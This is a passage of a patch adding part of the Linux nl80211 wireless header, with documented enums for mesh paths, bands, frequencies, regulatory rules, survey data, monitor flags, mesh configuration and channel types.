@NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN + * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set + * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded + */ +enum nl80211_mpath_flags { + NL80211_MPATH_FLAG_ACTIVE = 1<<0, + NL80211_MPATH_FLAG_RESOLVING = 1<<1, + NL80211_MPATH_FLAG_SN_VALID = 1<<2, + NL80211_MPATH_FLAG_FIXED = 1<<3, + NL80211_MPATH_FLAG_RESOLVED = 1<<4, +}; + +/** + * enum nl80211_mpath_info - mesh path information + * + * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting + * information about a mesh path. + * + * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved + * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination + * @NL80211_MPATH_INFO_SN: destination sequence number + * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path + * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now + * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in + * &enum nl80211_mpath_flags; + * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec + * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries + * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number + * currently defind + * @__NL80211_MPATH_INFO_AFTER_LAST: internal use + */ +enum nl80211_mpath_info { + __NL80211_MPATH_INFO_INVALID, + NL80211_MPATH_INFO_FRAME_QLEN, + NL80211_MPATH_INFO_SN, + NL80211_MPATH_INFO_METRIC, + NL80211_MPATH_INFO_EXPTIME, + NL80211_MPATH_INFO_FLAGS, + NL80211_MPATH_INFO_DISCOVERY_TIMEOUT, + NL80211_MPATH_INFO_DISCOVERY_RETRIES, + + /* keep last */ + __NL80211_MPATH_INFO_AFTER_LAST, + NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1 +}; + +/** + * enum nl80211_band_attr - band attributes + * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved + * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band, + * an array of nested frequency attributes + * @NL80211_BAND_ATTR_RATES: supported bitrates in this band, + * an array of nested bitrate attributes + * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as + * defined in 802.11n + * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE + * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n + * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n + * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as + * defined in 802.11ac + * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE + * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined + * @__NL80211_BAND_ATTR_AFTER_LAST: internal use + */ +enum nl80211_band_attr { + __NL80211_BAND_ATTR_INVALID, + NL80211_BAND_ATTR_FREQS, + NL80211_BAND_ATTR_RATES, + + NL80211_BAND_ATTR_HT_MCS_SET, + NL80211_BAND_ATTR_HT_CAPA, + NL80211_BAND_ATTR_HT_AMPDU_FACTOR, + NL80211_BAND_ATTR_HT_AMPDU_DENSITY, + + NL80211_BAND_ATTR_VHT_MCS_SET, + NL80211_BAND_ATTR_VHT_CAPA, + + /* keep last */ + __NL80211_BAND_ATTR_AFTER_LAST, + NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1 +}; + +#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA + +/** + * enum nl80211_frequency_attr - frequency attributes + * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved + * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz + * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current + * regulatory domain. + * @NL80211_FREQUENCY_ATTR_PASSIVE_SCAN: Only passive scanning is + * permitted on this channel in current regulatory domain. + * @NL80211_FREQUENCY_ATTR_NO_IBSS: IBSS networks are not permitted + * on this channel in current regulatory domain. + * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory + * on this channel in current regulatory domain. + * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm + * (100 * dBm). + * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS + * (enum nl80211_dfs_state) + * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long + * this channel is in this DFS state. + * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this + * channel as the control channel + * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this + * channel as the control channel + * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel + * as the primary or any of the secondary channels isn't possible, + * this includes 80+80 channels + * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel + * using this channel as the primary or any of the secondary channels + * isn't possible + * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number + * currently defined + * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use + */ +enum nl80211_frequency_attr { + __NL80211_FREQUENCY_ATTR_INVALID, + NL80211_FREQUENCY_ATTR_FREQ, + NL80211_FREQUENCY_ATTR_DISABLED, + NL80211_FREQUENCY_ATTR_PASSIVE_SCAN, + NL80211_FREQUENCY_ATTR_NO_IBSS, + NL80211_FREQUENCY_ATTR_RADAR, + NL80211_FREQUENCY_ATTR_MAX_TX_POWER, + NL80211_FREQUENCY_ATTR_DFS_STATE, + NL80211_FREQUENCY_ATTR_DFS_TIME, + NL80211_FREQUENCY_ATTR_NO_HT40_MINUS, + NL80211_FREQUENCY_ATTR_NO_HT40_PLUS, + NL80211_FREQUENCY_ATTR_NO_80MHZ, + NL80211_FREQUENCY_ATTR_NO_160MHZ, + + /* keep last */ + __NL80211_FREQUENCY_ATTR_AFTER_LAST, + NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1 +}; + +#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER + +/** + * enum nl80211_bitrate_attr - bitrate attributes + * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved + * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps + * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported + * in 2.4 GHz band. + * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number + * currently defined + * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use + */ +enum nl80211_bitrate_attr { + __NL80211_BITRATE_ATTR_INVALID, + NL80211_BITRATE_ATTR_RATE, + NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE, + + /* keep last */ + __NL80211_BITRATE_ATTR_AFTER_LAST, + NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1 +}; + +/** + * enum nl80211_initiator - Indicates the initiator of a reg domain request + * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world + * regulatory domain. + * @NL80211_REGDOM_SET_BY_USER: User asked the wireless core to set the + * regulatory domain. + * @NL80211_REGDOM_SET_BY_DRIVER: a wireless drivers has hinted to the + * wireless core it thinks its knows the regulatory domain we should be in. + * @NL80211_REGDOM_SET_BY_COUNTRY_IE: the wireless core has received an + * 802.11 country information element with regulatory information it + * thinks we should consider. cfg80211 only processes the country + * code from the IE, and relies on the regulatory domain information + * structure passed by userspace (CRDA) from our wireless-regdb. + * If a channel is enabled but the country code indicates it should + * be disabled we disable the channel and re-enable it upon disassociation. + */ +enum nl80211_reg_initiator { + NL80211_REGDOM_SET_BY_CORE, + NL80211_REGDOM_SET_BY_USER, + NL80211_REGDOM_SET_BY_DRIVER, + NL80211_REGDOM_SET_BY_COUNTRY_IE, +}; + +/** + * enum nl80211_reg_type - specifies the type of regulatory domain + * @NL80211_REGDOM_TYPE_COUNTRY: the regulatory domain set is one that pertains + * to a specific country. When this is set you can count on the + * ISO / IEC 3166 alpha2 country code being valid. + * @NL80211_REGDOM_TYPE_WORLD: the regulatory set domain is the world regulatory + * domain. + * @NL80211_REGDOM_TYPE_CUSTOM_WORLD: the regulatory domain set is a custom + * driver specific world regulatory domain. These do not apply system-wide + * and are only applicable to the individual devices which have requested + * them to be applied. + * @NL80211_REGDOM_TYPE_INTERSECTION: the regulatory domain set is the product + * of an intersection between two regulatory domains -- the previously + * set regulatory domain on the system and the last accepted regulatory + * domain request to be processed. + */ +enum nl80211_reg_type { + NL80211_REGDOM_TYPE_COUNTRY, + NL80211_REGDOM_TYPE_WORLD, + NL80211_REGDOM_TYPE_CUSTOM_WORLD, + NL80211_REGDOM_TYPE_INTERSECTION, +}; + +/** + * enum nl80211_reg_rule_attr - regulatory rule attributes + * @__NL80211_REG_RULE_ATTR_INVALID: attribute number 0 is reserved + * @NL80211_ATTR_REG_RULE_FLAGS: a set of flags which specify additional + * considerations for a given frequency range. These are the + * &enum nl80211_reg_rule_flags. + * @NL80211_ATTR_FREQ_RANGE_START: starting frequencry for the regulatory + * rule in KHz. This is not a center of frequency but an actual regulatory + * band edge. + * @NL80211_ATTR_FREQ_RANGE_END: ending frequency for the regulatory rule + * in KHz. This is not a center a frequency but an actual regulatory + * band edge. + * @NL80211_ATTR_FREQ_RANGE_MAX_BW: maximum allowed bandwidth for this + * frequency range, in KHz. + * @NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN: the maximum allowed antenna gain + * for a given frequency range. The value is in mBi (100 * dBi). + * If you don't have one then don't send this. + * @NL80211_ATTR_POWER_RULE_MAX_EIRP: the maximum allowed EIRP for + * a given frequency range. The value is in mBm (100 * dBm). + * @NL80211_REG_RULE_ATTR_MAX: highest regulatory rule attribute number + * currently defined + * @__NL80211_REG_RULE_ATTR_AFTER_LAST: internal use + */ +enum nl80211_reg_rule_attr { + __NL80211_REG_RULE_ATTR_INVALID, + NL80211_ATTR_REG_RULE_FLAGS, + + NL80211_ATTR_FREQ_RANGE_START, + NL80211_ATTR_FREQ_RANGE_END, + NL80211_ATTR_FREQ_RANGE_MAX_BW, + + NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN, + NL80211_ATTR_POWER_RULE_MAX_EIRP, + + /* keep last */ + __NL80211_REG_RULE_ATTR_AFTER_LAST, + NL80211_REG_RULE_ATTR_MAX = __NL80211_REG_RULE_ATTR_AFTER_LAST - 1 +}; + +/** + * enum nl80211_sched_scan_match_attr - scheduled scan match attributes + * @__NL80211_SCHED_SCAN_MATCH_ATTR_INVALID: attribute number 0 is reserved + * @NL80211_SCHED_SCAN_MATCH_ATTR_SSID: SSID to be used for matching, + * only report BSS with matching SSID. + * @NL80211_SCHED_SCAN_MATCH_ATTR_RSSI: RSSI threshold (in dBm) for reporting a + * BSS in scan results. Filtering is turned off if not specified. + * @NL80211_SCHED_SCAN_MATCH_ATTR_MAX: highest scheduled scan filter + * attribute number currently defined + * @__NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST: internal use + */ +enum nl80211_sched_scan_match_attr { + __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID, + + NL80211_SCHED_SCAN_MATCH_ATTR_SSID, + NL80211_SCHED_SCAN_MATCH_ATTR_RSSI, + + /* keep last */ + __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST, + NL80211_SCHED_SCAN_MATCH_ATTR_MAX = + __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST - 1 +}; + +/* only for backward compatibility */ +#define NL80211_ATTR_SCHED_SCAN_MATCH_SSID NL80211_SCHED_SCAN_MATCH_ATTR_SSID + +/** + * enum nl80211_reg_rule_flags - regulatory rule flags + * + * @NL80211_RRF_NO_OFDM: OFDM modulation not allowed + * @NL80211_RRF_NO_CCK: CCK modulation not allowed + * @NL80211_RRF_NO_INDOOR: indoor operation not allowed + * @NL80211_RRF_NO_OUTDOOR: outdoor operation not allowed + * @NL80211_RRF_DFS: DFS support is required to be used + * @NL80211_RRF_PTP_ONLY: this is only for Point To Point links + * @NL80211_RRF_PTMP_ONLY: this is only for Point To Multi Point links + * @NL80211_RRF_PASSIVE_SCAN: passive scan is required + * @NL80211_RRF_NO_IBSS: no IBSS is allowed + */ +enum nl80211_reg_rule_flags { + NL80211_RRF_NO_OFDM = 1<<0, + NL80211_RRF_NO_CCK = 1<<1, + NL80211_RRF_NO_INDOOR = 1<<2, + NL80211_RRF_NO_OUTDOOR = 1<<3, + NL80211_RRF_DFS = 1<<4, + NL80211_RRF_PTP_ONLY = 1<<5, + NL80211_RRF_PTMP_ONLY = 1<<6, + NL80211_RRF_PASSIVE_SCAN = 1<<7, + NL80211_RRF_NO_IBSS = 1<<8, +}; + +/** + * enum nl80211_dfs_regions - regulatory DFS regions + * + * @NL80211_DFS_UNSET: Country has no DFS master region specified + * @NL80211_DFS_FCC: Country follows DFS master rules from FCC + * @NL80211_DFS_ETSI: Country follows DFS master rules from ETSI + * @NL80211_DFS_JP: Country follows DFS master rules from JP/MKK/Telec + */ +enum nl80211_dfs_regions { + NL80211_DFS_UNSET = 0, + NL80211_DFS_FCC = 1, + NL80211_DFS_ETSI = 2, + NL80211_DFS_JP = 3, +}; + +/** + * enum nl80211_user_reg_hint_type - type of user regulatory hint + * + * @NL80211_USER_REG_HINT_USER: a user sent the hint. This is always + * assumed if the attribute is not set. + * @NL80211_USER_REG_HINT_CELL_BASE: the hint comes from a cellular + * base station. Device drivers that have been tested to work + * properly to support this type of hint can enable these hints + * by setting the NL80211_FEATURE_CELL_BASE_REG_HINTS feature + * capability on the struct wiphy. The wireless core will + * ignore all cell base station hints until at least one device + * present has been registered with the wireless core that + * has listed NL80211_FEATURE_CELL_BASE_REG_HINTS as a + * supported feature. + */ +enum nl80211_user_reg_hint_type { + NL80211_USER_REG_HINT_USER = 0, + NL80211_USER_REG_HINT_CELL_BASE = 1, +}; + +/** + * enum nl80211_survey_info - survey information + * + * These attribute types are used with %NL80211_ATTR_SURVEY_INFO + * when getting information about a survey. + * + * @__NL80211_SURVEY_INFO_INVALID: attribute number 0 is reserved + * @NL80211_SURVEY_INFO_FREQUENCY: center frequency of channel + * @NL80211_SURVEY_INFO_NOISE: noise level of channel (u8, dBm) + * @NL80211_SURVEY_INFO_IN_USE: channel is currently being used + * @NL80211_SURVEY_INFO_CHANNEL_TIME: amount of time (in ms) that the radio + * spent on this channel + * @NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY: amount of the time the primary + * channel was sensed busy (either due to activity or energy detect) + * @NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY: amount of time the extension + * channel was sensed busy + * @NL80211_SURVEY_INFO_CHANNEL_TIME_RX: amount of time the radio spent + * receiving data + * @NL80211_SURVEY_INFO_CHANNEL_TIME_TX: amount of time the radio spent + * transmitting data + * @NL80211_SURVEY_INFO_MAX: highest survey info attribute number + * currently defined + * @__NL80211_SURVEY_INFO_AFTER_LAST: internal use + */ +enum nl80211_survey_info { + __NL80211_SURVEY_INFO_INVALID, + NL80211_SURVEY_INFO_FREQUENCY, + NL80211_SURVEY_INFO_NOISE, + NL80211_SURVEY_INFO_IN_USE, + NL80211_SURVEY_INFO_CHANNEL_TIME, + NL80211_SURVEY_INFO_CHANNEL_TIME_BUSY, + NL80211_SURVEY_INFO_CHANNEL_TIME_EXT_BUSY, + NL80211_SURVEY_INFO_CHANNEL_TIME_RX, + NL80211_SURVEY_INFO_CHANNEL_TIME_TX, + + /* keep last */ + __NL80211_SURVEY_INFO_AFTER_LAST, + NL80211_SURVEY_INFO_MAX = __NL80211_SURVEY_INFO_AFTER_LAST - 1 +}; + +/** + * enum nl80211_mntr_flags - monitor configuration flags + * + * Monitor configuration flags. + * + * @__NL80211_MNTR_FLAG_INVALID: reserved + * + * @NL80211_MNTR_FLAG_FCSFAIL: pass frames with bad FCS + * @NL80211_MNTR_FLAG_PLCPFAIL: pass frames with bad PLCP + * @NL80211_MNTR_FLAG_CONTROL: pass control frames + * @NL80211_MNTR_FLAG_OTHER_BSS: disable BSSID filtering + * @NL80211_MNTR_FLAG_COOK_FRAMES: report frames after processing. + * overrides all other flags. + * @NL80211_MNTR_FLAG_ACTIVE: use the configured MAC address + * and ACK incoming unicast packets. + * + * @__NL80211_MNTR_FLAG_AFTER_LAST: internal use + * @NL80211_MNTR_FLAG_MAX: highest possible monitor flag + */ +enum nl80211_mntr_flags { + __NL80211_MNTR_FLAG_INVALID, + NL80211_MNTR_FLAG_FCSFAIL, + NL80211_MNTR_FLAG_PLCPFAIL, + NL80211_MNTR_FLAG_CONTROL, + NL80211_MNTR_FLAG_OTHER_BSS, + NL80211_MNTR_FLAG_COOK_FRAMES, + NL80211_MNTR_FLAG_ACTIVE, + + /* keep last */ + __NL80211_MNTR_FLAG_AFTER_LAST, + NL80211_MNTR_FLAG_MAX = __NL80211_MNTR_FLAG_AFTER_LAST - 1 +}; + +/** + * enum nl80211_mesh_power_mode - mesh power save modes + * + * @NL80211_MESH_POWER_UNKNOWN: The mesh power mode of the mesh STA is + * not known or has not been set yet. + * @NL80211_MESH_POWER_ACTIVE: Active mesh power mode. The mesh STA is + * in Awake state all the time. + * @NL80211_MESH_POWER_LIGHT_SLEEP: Light sleep mode. The mesh STA will + * alternate between Active and Doze states, but will wake up for + * neighbor's beacons. + * @NL80211_MESH_POWER_DEEP_SLEEP: Deep sleep mode. The mesh STA will + * alternate between Active and Doze states, but may not wake up + * for neighbor's beacons. + * + * @__NL80211_MESH_POWER_AFTER_LAST - internal use + * @NL80211_MESH_POWER_MAX - highest possible power save level + */ + +enum nl80211_mesh_power_mode { + NL80211_MESH_POWER_UNKNOWN, + NL80211_MESH_POWER_ACTIVE, + NL80211_MESH_POWER_LIGHT_SLEEP, + NL80211_MESH_POWER_DEEP_SLEEP, + + __NL80211_MESH_POWER_AFTER_LAST, + NL80211_MESH_POWER_MAX = __NL80211_MESH_POWER_AFTER_LAST - 1 +}; + +/** + * enum nl80211_meshconf_params - mesh configuration parameters + * + * Mesh configuration parameters. These can be changed while the mesh is + * active. + * + * @__NL80211_MESHCONF_INVALID: internal use + * + * @NL80211_MESHCONF_RETRY_TIMEOUT: specifies the initial retry timeout in + * millisecond units, used by the Peer Link Open message + * + * @NL80211_MESHCONF_CONFIRM_TIMEOUT: specifies the initial confirm timeout, in + * millisecond units, used by the peer link management to close a peer link + * + * @NL80211_MESHCONF_HOLDING_TIMEOUT: specifies the holding timeout, in + * millisecond units + * + * @NL80211_MESHCONF_MAX_PEER_LINKS: maximum number of peer links allowed + * on this mesh interface + * + * @NL80211_MESHCONF_MAX_RETRIES: specifies the maximum number of peer link + * open retries that can be sent to establish a new peer link instance in a + * mesh + * + * @NL80211_MESHCONF_TTL: specifies the value of TTL field set at a source mesh + * point. + * + * @NL80211_MESHCONF_AUTO_OPEN_PLINKS: whether we should automatically open + * peer links when we detect compatible mesh peers. Disabled if + * @NL80211_MESH_SETUP_USERSPACE_MPM or @NL80211_MESH_SETUP_USERSPACE_AMPE are + * set. + * + * @NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES: the number of action frames + * containing a PREQ that an MP can send to a particular destination (path + * target) + * + * @NL80211_MESHCONF_PATH_REFRESH_TIME: how frequently to refresh mesh paths + * (in milliseconds) + * + * @NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT: minimum length of time to wait + * until giving up on a path discovery (in milliseconds) + * + * @NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT: The time (in TUs) for which mesh + * points receiving a PREQ shall consider the forwarding information from + * the root to be valid. (TU = time unit) + * + * @NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL: The minimum interval of time (in + * TUs) during which an MP can send only one action frame containing a PREQ + * reference element + * + * @NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME: The interval of time (in TUs) + * that it takes for an HWMP information element to propagate across the + * mesh + * + * @NL80211_MESHCONF_HWMP_ROOTMODE: whether root mode is enabled or not + * + * @NL80211_MESHCONF_ELEMENT_TTL: specifies the value of TTL field set at a + * source mesh point for path selection elements. + * + * @NL80211_MESHCONF_HWMP_RANN_INTERVAL: The interval of time (in TUs) between + * root announcements are transmitted. + * + * @NL80211_MESHCONF_GATE_ANNOUNCEMENTS: Advertise that this mesh station has + * access to a broader network beyond the MBSS. This is done via Root + * Announcement frames. + * + * @NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL: The minimum interval of time (in + * TUs) during which a mesh STA can send only one Action frame containing a + * PERR element. + * + * @NL80211_MESHCONF_FORWARDING: set Mesh STA as forwarding or non-forwarding + * or forwarding entity (default is TRUE - forwarding entity) + * + * @NL80211_MESHCONF_RSSI_THRESHOLD: RSSI threshold in dBm. This specifies the + * threshold for average signal strength of candidate station to establish + * a peer link. + * + * @NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR: maximum number of neighbors + * to synchronize to for 11s default synchronization method + * (see 11C.12.2.2) + * + * @NL80211_MESHCONF_HT_OPMODE: set mesh HT protection mode. + * + * @NL80211_MESHCONF_ATTR_MAX: highest possible mesh configuration attribute + * + * @NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT: The time (in TUs) for + * which mesh STAs receiving a proactive PREQ shall consider the forwarding + * information to the root mesh STA to be valid. + * + * @NL80211_MESHCONF_HWMP_ROOT_INTERVAL: The interval of time (in TUs) between + * proactive PREQs are transmitted. + * + * @NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL: The minimum interval of time + * (in TUs) during which a mesh STA can send only one Action frame + * containing a PREQ element for root path confirmation. + * + * @NL80211_MESHCONF_POWER_MODE: Default mesh power mode for new peer links. + * type &enum nl80211_mesh_power_mode (u32) + * + * @NL80211_MESHCONF_AWAKE_WINDOW: awake window duration (in TUs) + * + * @NL80211_MESHCONF_PLINK_TIMEOUT: If no tx activity is seen from a STA we've + * established peering with for longer than this time (in seconds), then + * remove it from the STA's list of peers. Default is 30 minutes. + * + * @__NL80211_MESHCONF_ATTR_AFTER_LAST: internal use + */ +enum nl80211_meshconf_params { + __NL80211_MESHCONF_INVALID, + NL80211_MESHCONF_RETRY_TIMEOUT, + NL80211_MESHCONF_CONFIRM_TIMEOUT, + NL80211_MESHCONF_HOLDING_TIMEOUT, + NL80211_MESHCONF_MAX_PEER_LINKS, + NL80211_MESHCONF_MAX_RETRIES, + NL80211_MESHCONF_TTL, + NL80211_MESHCONF_AUTO_OPEN_PLINKS, + NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES, + NL80211_MESHCONF_PATH_REFRESH_TIME, + NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT, + NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT, + NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL, + NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME, + NL80211_MESHCONF_HWMP_ROOTMODE, + NL80211_MESHCONF_ELEMENT_TTL, + NL80211_MESHCONF_HWMP_RANN_INTERVAL, + NL80211_MESHCONF_GATE_ANNOUNCEMENTS, + NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL, + NL80211_MESHCONF_FORWARDING, + NL80211_MESHCONF_RSSI_THRESHOLD, + NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR, + NL80211_MESHCONF_HT_OPMODE, + NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT, + NL80211_MESHCONF_HWMP_ROOT_INTERVAL, + NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL, + NL80211_MESHCONF_POWER_MODE, + NL80211_MESHCONF_AWAKE_WINDOW, + NL80211_MESHCONF_PLINK_TIMEOUT, + + /* keep last */ + __NL80211_MESHCONF_ATTR_AFTER_LAST, + NL80211_MESHCONF_ATTR_MAX = __NL80211_MESHCONF_ATTR_AFTER_LAST - 1 +}; + +/** + * enum nl80211_mesh_setup_params - mesh setup parameters + * + * Mesh setup parameters. These are used to start/join a mesh and cannot be + * changed while the mesh is active. + * + * @__NL80211_MESH_SETUP_INVALID: Internal use + * + * @NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL: Enable this option to use a + * vendor specific path selection algorithm or disable it to use the + * default HWMP. + * + * @NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC: Enable this option to use a + * vendor specific path metric or disable it to use the default Airtime + * metric. + * + * @NL80211_MESH_SETUP_IE: Information elements for this mesh, for instance, a + * robust security network ie, or a vendor specific information element + * that vendors will use to identify the path selection methods and + * metrics in use. + * + * @NL80211_MESH_SETUP_USERSPACE_AUTH: Enable this option if an authentication + * daemon will be authenticating mesh candidates. + * + * @NL80211_MESH_SETUP_USERSPACE_AMPE: Enable this option if an authentication + * daemon will be securing peer link frames. AMPE is a secured version of + * Mesh Peering Management (MPM) and is implemented with the assistance of + * a userspace daemon. When this flag is set, the kernel will send peer + * management frames to a userspace daemon that will implement AMPE + * functionality (security capabilities selection, key confirmation, and + * key management). When the flag is unset (default), the kernel can + * autonomously complete (unsecured) mesh peering without the need of a + * userspace daemon. + * + * @NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC: Enable this option to use a + * vendor specific synchronization method or disable it to use the default + * neighbor offset synchronization + * + * @NL80211_MESH_SETUP_USERSPACE_MPM: Enable this option if userspace will + * implement an MPM which handles peer allocation and state. + * + * @NL80211_MESH_SETUP_AUTH_PROTOCOL: Inform the kernel of the authentication + * method (u8, as defined in IEEE 8.4.2.100.6, e.g. 0x1 for SAE). + * Default is no authentication method required. + * + * @NL80211_MESH_SETUP_ATTR_MAX: highest possible mesh setup attribute number + * + * @__NL80211_MESH_SETUP_ATTR_AFTER_LAST: Internal use + */ +enum nl80211_mesh_setup_params { + __NL80211_MESH_SETUP_INVALID, + NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL, + NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC, + NL80211_MESH_SETUP_IE, + NL80211_MESH_SETUP_USERSPACE_AUTH, + NL80211_MESH_SETUP_USERSPACE_AMPE, + NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC, + NL80211_MESH_SETUP_USERSPACE_MPM, + NL80211_MESH_SETUP_AUTH_PROTOCOL, + + /* keep last */ + __NL80211_MESH_SETUP_ATTR_AFTER_LAST, + NL80211_MESH_SETUP_ATTR_MAX = __NL80211_MESH_SETUP_ATTR_AFTER_LAST - 1 +}; + +/** + * enum nl80211_txq_attr - TX queue parameter attributes + * @__NL80211_TXQ_ATTR_INVALID: Attribute number 0 is reserved + * @NL80211_TXQ_ATTR_AC: AC identifier (NL80211_AC_*) + * @NL80211_TXQ_ATTR_TXOP: Maximum burst time in units of 32 usecs, 0 meaning + * disabled + * @NL80211_TXQ_ATTR_CWMIN: Minimum contention window [a value of the form + * 2^n-1 in the range 1..32767] + * @NL80211_TXQ_ATTR_CWMAX: Maximum contention window [a value of the form + * 2^n-1 in the range 1..32767] + * @NL80211_TXQ_ATTR_AIFS: Arbitration interframe space [0..255] + * @__NL80211_TXQ_ATTR_AFTER_LAST: Internal + * @NL80211_TXQ_ATTR_MAX: Maximum TXQ attribute number + */ +enum nl80211_txq_attr { + __NL80211_TXQ_ATTR_INVALID, + NL80211_TXQ_ATTR_AC, + NL80211_TXQ_ATTR_TXOP, + NL80211_TXQ_ATTR_CWMIN, + NL80211_TXQ_ATTR_CWMAX, + NL80211_TXQ_ATTR_AIFS, + + /* keep last */ + __NL80211_TXQ_ATTR_AFTER_LAST, + NL80211_TXQ_ATTR_MAX = __NL80211_TXQ_ATTR_AFTER_LAST - 1 +}; + +enum nl80211_ac { + NL80211_AC_VO, + NL80211_AC_VI, + NL80211_AC_BE, + NL80211_AC_BK, + NL80211_NUM_ACS +}; + +/* backward compat */ +#define NL80211_TXQ_ATTR_QUEUE NL80211_TXQ_ATTR_AC +#define NL80211_TXQ_Q_VO NL80211_AC_VO +#define NL80211_TXQ_Q_VI NL80211_AC_VI +#define NL80211_TXQ_Q_BE NL80211_AC_BE +#define NL80211_TXQ_Q_BK NL80211_AC_BK + +/** + * enum nl80211_channel_type - channel type + * @NL80211_CHAN_NO_HT: 20 MHz, non-HT channel + * @NL80211_CHAN_HT20: 20 MHz HT channel + * @NL80211_CHAN_HT40MINUS: HT40 channel, secondary channel + * below the control channel + * @NL80211_CHAN_HT40PLUS: HT40 channel, secondary channel + * above the control channel + */ +enum nl80211_channel_type { + NL80211_CHAN_NO_HT, + NL80211_CHAN_HT20, + NL80211_CHAN_HT40MINUS, + NL80211_CHAN_HT40PLUS +}; + +/** + * enum nl80211_chan_width - channel width definitions + * + * These values are used with the %NL80211_ATTR_CHANNEL_WIDTH + * attribute. + * + * @NL80211_CHAN_WIDTH_20_NOHT: 20 MHz, non-HT channel + * @NL80211_CHAN_WIDTH_20: 20 MHz HT channel + * @NL80211_CHAN_WIDTH_40: 40 MHz channel, the %NL80211_ATTR_CENTER_FREQ1 + * attribute must be provided as well + * @NL80211_CHAN_WIDTH_80: 80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1 + * attribute must be provided as well + * @NL80211_CHAN_WIDTH_80P80: 80+80 MHz channel, the %NL80211_ATTR_CENTER_FREQ1 + * and %NL80211_ATTR_CENTER_FREQ2 attributes must be provided as well + * @NL80211_CHAN_WIDTH_160: 160 MHz channel, the %NL80211_ATTR_CENTER_FREQ1 + * attribute must be provided as well + * @NL80211_CHAN_WIDTH_5: 5 MHz OFDM channel + * @NL80211_CHAN_WIDTH_10: 10 MHz OFDM channel + */ +enum 